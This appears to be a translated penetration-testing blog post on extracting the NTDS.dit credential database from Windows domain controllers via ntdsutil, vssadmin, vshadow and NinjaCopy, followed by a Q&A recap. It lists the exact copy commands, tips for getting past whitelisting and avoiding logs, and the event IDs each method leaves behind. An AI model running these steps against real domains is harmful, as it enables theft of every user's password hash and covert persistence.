One Day SecOne Day Sec

Domain Penetration - Obtaining the NTDS.dit File from Domain Controller Servers

Onedaysec
4 min read
0 views
docx image 1770017969910 0 6332a04ef1

0x00 Preface

---

In the previous article 'Technical Summary of Exporting All User Hashes in the Current Domain', we introduced copying the ntds.dit file via Volume Shadow Copy to export all user hashes within the domain. This article will attempt to systematically summarize various different methods.

0x01 Introduction

---

This article will cover the following:

  • Multiple implementation methods
  • Comparison of advantages and disadvantages

0x02 Obtaining the Domain Controller NTDS.dit File via Volume Shadow Copy

---

Test systems:

  • Server 2008 R2 x64
  • Server 2012 R2 x64

Volume Shadow Copy Service:

  • For data backup
  • Supports Windows Server 2003 and above operating systems
  • The system automatically creates data backups under specific conditions by default, such as after patch installation. On Win7 systems, backups are automatically created approximately every week, but this timing is not guaranteed
  • Disabling VSS will affect normal system functions, such as System Restore and Windows Server Backup

1. ntdsutil

Installed by default in domain environments

Supported systems:

  • Server 2003
  • Server 2008
  • Server 2012
  • ...

Common commands:

(1) Query current snapshot list

ntdsutil snapshot "List All" quit quit

(2) Query mounted snapshot list

ntdsutil snapshot "List Mounted" quit quit

(3) Create snapshot

ntdsutil snapshot "activate instance ntds" create quit quit

(4) Mount snapshot

ntdsutil snapshot "mount GUID" quit quit

(5) Unmount snapshot:

ntdsutil snapshot "unmount GUID" quit quit

(6) Delete snapshot

ntdsutil snapshot "delete GUID" quit quit

Actual test:

(1) Query current system snapshots

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

(2) Create snapshot

ntdsutil snapshot "activate instance ntds" create quit quit

guid is {6e31c0ab-c517-420b-845d-c38acbf77ab9}

as shown in the figure below

Actual test: — technical illustration 1

(3) Mount snapshot

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

Snapshot mounted as C:\$SNAP_201802270645_VOLUMEC$\, as shown in the figure below

Actual test: — technical illustration 2

(4) Copy ntds.dit

copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

(5) Unmount snapshot:

ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

(6) Delete snapshot

ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

2、vssadmin

Installed by default in domain environment

Supported Systems:

  • Server 2008
  • Server 2012
  • ...

Common Commands:

(1) Query current system snapshots

vssadmin list shadows

(2) Create a snapshot

vssadmin create shadow /for=c:

(3) Delete a snapshot

vssadmin delete shadows /for=c: /quiet

Actual Testing:

(1) Query current system snapshots

vssadmin list shadows

(2) Create a snapshot

vssadmin create shadow /for=c:

Obtain Shadow Copy Volume Name as \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

As shown in the figure below

Actual Testing: — technical illustration 3

(3) Copy ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit

(4) Delete snapshot

vssadmin delete shadows /for=c: /quiet

3. vshadow.exe

Not supported by default in the system, this tool can be obtained from the Microsoft Windows Software Development Kit (SDK)

Note:

64-bit systems require the 64-bit version of vshadow.exe

Download links for vshadow.exe versions available for different systems:

http://edgylogic.com/blog/vshadow-exe-versions/

Common commands:

(1) Query current system snapshots

vshadow.exe -q

(2) Create a snapshot

vshadow.exe -p -nw C:

Parameter description:

-p persistent, not deleted by backup operations or system restart

-nw no writers, used to improve creation speed

C: corresponds to drive C

(3) Delete snapshot

vshadow -dx=ShadowCopySetId

vshadow -ds=ShadowCopyId

Actual testing:

(1) Query current system snapshots

vshadow.exe -q

(2) Create a snapshot

vshadow.exe -p -nw C:

Obtained SnapshotSetID as {809b77cc-cf9a-4101-b802-08e97d10e613}

Obtained SnapshotID as {ef99d039-9a38-4e8b-9f57-e3113d464f76}

Obtained shadow copy device name as \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

As shown in the figure below

Actual testing: — technical illustration 4

(3) Copy ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit

(4) Delete snapshot

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}

4. vssown.vbs

Reference download address:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

Essentially operates on ShadowCopy through WMI

Query snapshot information via WMI:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list

PowerShell implementation:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

Extensions

1. Log files

Invoking Volume Shadow Copy Service generates log files under System, with Event ID 7036

Executing ntdsutil snapshot "activate instance ntds" create quit quit additionally generates log files with Event ID 98

As shown below

1. Log files — technical illustration 5

2. Accessing files in snapshots

View snapshot list:

vssadmin list shadows

Cannot directly access files in \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

Files in the snapshot can be accessed by creating symbolic links:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\

As shown in the figure below

2. Accessing files in snapshots — technical illustration 6

Delete symbolic link:

rd c:\testvsc

Exploitation idea:

If snapshot files exist in the current system, historical files of the system can be accessed

3. Executing commands using vshadow

Reference materials:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

Execute command:

vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:

After execution, the background process VSSVC.exe exists, and the Volume Shadow Copy service is shown as running, requiring manual termination of the VSSVC.exe process

Note:

Manually terminating the VSSVC.exe process generates log 7034

Exploitation approach:

vshadow.exe contains Microsoft signatures, allowing it to bypass certain whitelist restrictions. If set as a startup item, it does not appear in Autoruns' default startup list

0x03 Obtaining the domain controller's NTDS.dit file via NinjaCopy

---

Download link:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Does not invoke the Volume Shadow Copy service, thus no log file 7036 is generated

0x04 Summary

---

This article compiles various methods for obtaining the domain controller's NTDS.dit file, tests their usage environments, and compares their advantages and disadvantages.

Related Questions & Answers

What are the typical steps to extract the NTDS.dit file from a domain controller using built-in vssadmin?

First, create a snapshot of the system drive with `vssadmin create shadow /for=c:`, which returns a Shadow Copy Volume Name like `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12`. Then copy the NTDS.dit file using `copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit`. Finally, clean up by deleting the snapshot with `vssadmin delete shadows /for=c: /quiet`. This method is simple and uses tools already present on Windows Server. For a comprehensive overview of all methods, refer to [Domain Penetration - Obtaining the NTDS.dit File from Domain Controller Servers](/news/domain-penetration-obtaining-the-ntds-dit-file-from-domain-controller-servers).

How can vshadow.exe be abused for both persistence and evasion in a penetration test?

`vshadow.exe` from the Windows SDK carries a Microsoft signature, allowing it to bypass some application whitelisting controls. It can be used to execute arbitrary commands (e.g., `vshadow -nw -exec=notepad.exe c:`) within a snapshot context, leaving VSSVC.exe running as a background process. This can be leveraged for persistence by setting it as a startup item, and it does not appear in Autoruns' default startup list, making it harder to detect. The full exploitation approach is detailed in [Domain Penetration - Obtaining the NTDS.dit File from Domain Controller Servers](/news/domain-penetration-obtaining-the-ntds-dit-file-from-domain-controller-servers) and related resources.

What advantage does NinjaCopy offer over Volume Shadow Copy methods when extracting the NTDS.dit file, especially regarding log generation?

NinjaCopy, part of the PowerSploit framework, does not rely on the Volume Shadow Copy Service (VSS), so it avoids generating Event ID 7036 logs that VSS operations typically produce. This makes it a stealthier option for extracting the NTDS.dit file during domain penetration. However, note that NinjaCopy requires administrative privileges and may be detected by advanced security solutions. More on stealth techniques can be found in [Penetration Basics - Extracting Credentials from lsass.exe Process](/news/penetration-basics-extracting-credentials-from-lsass-exe-process).

How can you access files inside a Volume Shadow Copy snapshot without mounting it as a drive letter?

You can access snapshot files by using the device path `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyXX` directly in `copy` commands, or by creating a symbolic link with `mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\`. This allows browsing the snapshot like a normal folder, as demonstrated in the original article. After finishing, delete the link with `rd c:\testvsc`. This technique is often used in [Domain Penetration - Obtaining the NTDS.dit File from Domain Controller Servers](/news/domain-penetration-obtaining-the-ntds-dit-file-from-domain-controller-servers) to quietly extract the NTDS.dit file.

What are the main built-in Windows tools for obtaining the NTDS.dit file via Volume Shadow Copy, and how do they differ?

The main built-in tools are `ntdsutil` and `vssadmin`, both preinstalled on Windows Server. `ntdsutil` is specific to Active Directory and can create, mount, and manage snapshots of the NTDS database, as detailed in [Domain Penetration - Obtaining the NTDS.dit File from Domain Controller Servers](/news/domain-penetration-obtaining-the-ntds-dit-file-from-domain-controller-servers). `vssadmin` is a general Volume Shadow Copy command-line tool that creates system snapshots. Additionally, `vshadow.exe` from the Windows SDK is not built-in but offers persistent snapshots and can be used for execution bypass. For a broader context on abusing VSS, see [Volume Shadow Copy in Penetration Testing](/news/volume-shadow-copy-in-penetration-testing).

Continue Reading